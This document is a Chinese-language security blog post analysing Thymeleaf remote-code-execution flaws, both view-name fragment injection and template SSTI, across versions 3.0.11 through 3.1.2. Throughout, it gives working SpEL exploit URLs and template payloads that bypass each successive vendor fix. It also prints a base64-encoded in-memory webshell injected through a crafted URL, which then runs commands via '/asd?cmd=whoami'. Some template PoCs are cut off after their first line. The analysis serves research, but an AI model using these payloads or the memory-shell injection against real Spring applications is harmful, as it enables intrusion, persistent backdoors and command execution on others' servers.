Thymeleaf漏洞汇总
Thymeleaf和SpringBoot的对应版本
1 | SpringBoot Thymeleaf |
介绍
Thymeleaf 主要存在两种类型的漏洞,一种是出于开发者的失误,让用户可以任意指定视图名导致触发 Thymeleaf 3.x 中的片段表达式解析 RCE 。一种是在解析 Thymeleaf 模板时,其中模板内容被用户可控,导致模板中被用户注入恶意的表达式。
第一种漏洞是
Thymeleaf的特性,主要是由于控制器在返回视图名时,如果视图名包含片段表达式,就会对其进行预处理,其中会进行SpEL表达式的解析,从而造成命令执行。但是官方不承认这是一个框架的漏洞,因为官方认为程序返回的视图名不应该被用户完全控制,这种漏洞是出于开发者的失误。
第二种漏洞就是我们常见的SSTI类型的漏洞,主要的攻击和防护方法围绕在沙箱逃逸和沙箱加固中,
下面依次来分析这两种漏洞。
漏洞一:控制视图名
测试代码
1 | package com.just.controller; |
上面的代码模拟了开发者让用户动态指定返回的模板的两种情景,两种情景本质都是一样的。
3.0.11版本及之前
介绍
在 Thymeleaf 3.x 提供了一个新的表达式: 片段表达式 (形如: ~{...}),用于复用前端页面的元素。并且可以用于前面测试代码中的 data 参数中。更加关键的是,在 Thymeleaf 底层解析片段表达式的时候,会对片段表达式中的预处理表达式(形如 __...__ )进行处理,而预处理表达式中是可以通过 SpEL 表达式执行命令的,从而造成命令执行。
这样就说明只有 3.x 版本的 Thymeleaf 才会受影响。因为 2.x 中只会单纯的根据 data 的值找对应的模板,不会做片段表达式中的预处理。
分析
在 Thymeleaf 解析返回的模板时,必经的方法是 ThymeleafView#renderFragment() 。这个方法的 viewTemplateName 对应测试代码中 controller 返回的 data 参数。如果 data 参数中包含了 :: ,Thymeleaf 就会把这个参数当作片段表达式处理。

然后在几个方法调用后,来到 StandardExpressionPreprocessor#preprocess() 中进行预处理表达式的处理。

这个方法中会通过正则表达式提取 __...__ 中的内容,然后交给 expression.execute() 处理,最终当作 Spel 表达式来处理造成命令执行。
根据上面的分析,我们可以构造出下面的 POC (形如 __SpEL表达式__::)。
1 | /demo1?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
3.0.12版本
介绍
针对 Thymeleaf 3.0.11 中的问题,在 3.0.12 版本中, Thymeleaf 在 util 目录下增加了 SpringRequestUtils 和 SpringStandardExpressionUtils 两个类。
根据文件中的注释说明我们就可以知道,SpringStandardExpressionUtils 是用来避免 SpEL 表达式创建对象和调用类的静态方法。

分析
在 3.0.12 版本中,renderFragment() 中多了一个对 viewTemplateName 进行判断的方法。

StringUtils.pack() 的作用是去掉字符串的空格和 ASCII 码在空格之前的特殊字符,并最后转为小写。然后就是先看 uri 中是否存在 viewName (这一步是为了检查 restful 风格的参数是否包含了 viewName ),然后遍历 url 中的参数( ?key=value 的部分 )是否包含了 viewName (这一步检查的是普通的参数),如果上述任意其一包含了 vn 就报错。正对应这个方法名,检查 viewName 是否在 request 对象中。

这样子即使开发者误开发了视图名称可以由用户控制的代码情景,Thymeleaf 底层也不会将视图名称作为片段表达式执行。

此时,我们测试代码中的两个
controller情景就都被防护了。但是如果controller写成了下面的样子,就依然会产生漏洞。
1 |
|
此时如果 poc 写成下面的样子,就可以绕过 checkViewNameNotInRequest() 的检查。
1 | /demo3?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |


demo3 的 poc 好理解,demo4 的 poc 我们在调试的时候发现 requestURI 中的 ; 在 viewName 被去掉了,这是因为 Tomcat 的 URL 解析特性。参考 Tomcat 的 url 解析特性 ,具体源码就不仔细分析了。
但是我们发现上面的 poc 虽然绕过了 checkViewNameNotInRequest() ,但是还是打不通。这是因为后面还有前面提到了的 SpringStandardExpressionUtils 的检查。
检查在 SPELVariableExpressionEvaluator#getExpression() 中,这里 expContext 是禁止 SpEL 表达式中 new 对象或者调用类的静态方法的。

而对 SpEL 表达式的检查在 SpringStandardExpressionUtils.containsSpELInstantiationOrStatic() 方法中。
1 | public static boolean containsSpELInstantiationOrStatic(String expression) { |
可以看到其主要逻辑是首先倒序检测是否包含 wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行。
因此要绕过这个函数,只要满足三点:
- 表达式中不能含有关键字
new - 在
(的左边的字符不能是T - 不能在
T和(中间添加的字符使得原表达式出现问题
这里在 T 和 ( 之间加上空格 %20 就可以绕过,其余还有很多字符都可以。例如换行符 %0a ,制表符 %09 。
绕过这点就可以成功通过 EL 表达式来 RCE 了。
POC
最终的 POC 如下:
1 | /demo3?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
高版本的修复
在 Thymeleaf 3.0.12 版本之后加强了 checkViewNameNotInRequest() 方法,要求 URI 的值和其 get 参数在 StringUtils.pack() 之后不能出现 $ ,* ,# ,@ ,~ 紧跟 { 的情况。

拓展
当controller不return的时候
环境
环境基于 Thymeleaf 3.0.12 。
1 |
|
上面的代码可以利用吗?
分析
我们这里拿原来 3.0.12 的 poc 来打。
1 | /demo5?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |

1 | /demo6/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |

我们发现此时第一种情况会把 URI 当作视图名,第二种情况视图名末尾的 :: 消失了。这里直接先给出结论:第一种情况暂时无解,第二种情况有办法解决。
我们可以分析一下第二种情况 viewName 是怎么获取的。

不难调试到上面的位置,发现 viewName 在这里会去掉倒数第一个 . 后面的内容,也就是去掉后缀名的操作,为了防止 .exec("calc")%7D__:: 被去掉,我们不难想到可以在末尾再加一个 . 后缀。
POC
1 | /demo6/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::. |
注入内存马
环境基于 Thymeleaf 3.0.12 。
注意:这里我们借助了
org.springframework.util.Base64Utils.encodeToUrlSafeString()这个方法来避免出现Base64编码后出现/字符导致Tomcat将其识别为路由的情况。
1 | http://localhost:8080/demo4/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x |
然后访问 /asd?cmd=whoami 。
参考文章
https://forum.butian.net/share/1922
https://www.cnpanda.net/sec/1063.html
https://xz.aliyun.com/t/11688
漏洞二:控制模板内容
介绍
Thymeleaf 中的预处理表达式可以处理 SpEL 表达式,从而如果我们可以控制 Thymeleaf 渲染的模板内容,就可以执行 java 代码。
3.0.11及以下版本利用
经过了前面的分析沉淀,这里我们可以知道, 3.0.11 版本及之前没有对 SpEL 表达式的解析有任何约束,因此我们直接在预处理表达式中注入命令执行就可以了。
poc 如下:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
3.0.12版本利用
分析
在 3.0.12 版本,在解析模板中的 SpEL 表达式的时候,在 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam() 中要求下面三点:
- 表达式中不能含有关键字
new - 在
(的左边的字符不能是T - 不能在
T和(中间添加的字符使得原表达式出现问题
这里在 T 和 ( 之间加上空格 %20 就可以绕过,其余还有很多字符都可以。例如换行符 %0a ,制表符 %09 。
POC
poc 如下:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
3.0.15版本利用
分析
在 3.0.15 版本( 3.0.x 的最后一个版本), Thymeleaf 加强了 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam() 方法。但是这个方法还是可以被绕过。
这个方法和 3.0.12 版本的逻辑差不多,不过这里加强了 T 和 ( 之间空格的检测(具体逻辑在 SpringStandardExpressionUtils.isPreviousStaticMarker() 方法中),导致前面的空格绕过在这里行不通。
但是这里有办法绕过第一个限制。这个方法对
new关键字的检测并非单纯的看new字符串是不是expression的字串,而是限制new字符串不能在expression的开头或者new字符串的前一个字符为非特殊字符,并且new的下一个字符如果不是空格就可以过这里的检测。
如果熟悉Spel表达式,会发现new后面如果紧跟的是.也可以解析成功,这样我们就可以通过在new后面加一个.来绕过这里对new关键字的限制。

POC
绕过 poc 如下:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
或者下面这样也是可以解析成功的
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
3.1.1版本利用
分析
在 3.1.x 版本, Thymeleaf 加强了黑名单机制,禁止模板渲染中解析 SpEL 表达式的时候加载某些类。具体逻辑在 ExpressionUtils.isTypeAllowed() 方法中。
低版本 3.0.15 的黑名单:

高版本 3.1.1 的黑名单:


这里我们绕过黑名单的思路有两个:
- 寻找在白名单中有命令执行方法的类,从而直接命令执行。
- 寻找在白名单中提供了反射调用其它类的方法的类,从而用这个类来反射调用一些黑名单中可以命令执行的方法,由于这里是反射调用,所以
Thymeleaf是检测不出来的。
下面的 poc 用的是第二种思路,主要是发现了 org.springframework.util.ReflectionUtils 封装了反射调用的方法, org.springframework.cglib.core.ReflectionUtils 封装了通过字符串的类名来获取对应类的 Class 对象的功能,。并且 POC1 利用了 org.springframework.cglib.core.ReflectionUtils#defineClass() 可以通过字节码实例化类对象,类似于 TemplatesImpl 。
POC
POC 参考 https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI
POC1
适用于 jdk9 之前。
1 |
|
POC2
适用于 jdk9 之后。
1 |
|
POC3
不限 jdk 版本。
1 |
|
3.1.2版本利用
高版本 3.1.2 进一步加入了 8 个新的类到黑名单来处理 3.1.1 版本的 CVE-2023-38286 。


目前
SpringBoot最高的版本为3.2.3,对应的Thymeleaf版本为3.1.2。也就是说下面的poc可以通杀当前SpringBoot对应的Thymeleaf。

POC
绕过 poc 如下(其中 .. 的部分也可以用一个 . ,只不过 .. 可能可以过一些 WAF ):
POC1
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
上面的 spel 表达式的 poc 等效于下面的 java 代码,用来说明原理:
1 | package com.just; |
POC2
这个 POC 利用常见的 ClassPathXmlApplicationContext 类来 RCE ,但是需要出网:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
POC3
这里利用 jshell 来命令执行。这里的 UtilityElf 是 SpringBoot-JDBC 依赖中的类。
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
参考文章
https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/
https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/
https://blog.ruozhi.xyz/2024/01/28/chatter-box-%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/#Step-3-%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%BB%95%E8%BF%87
https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI





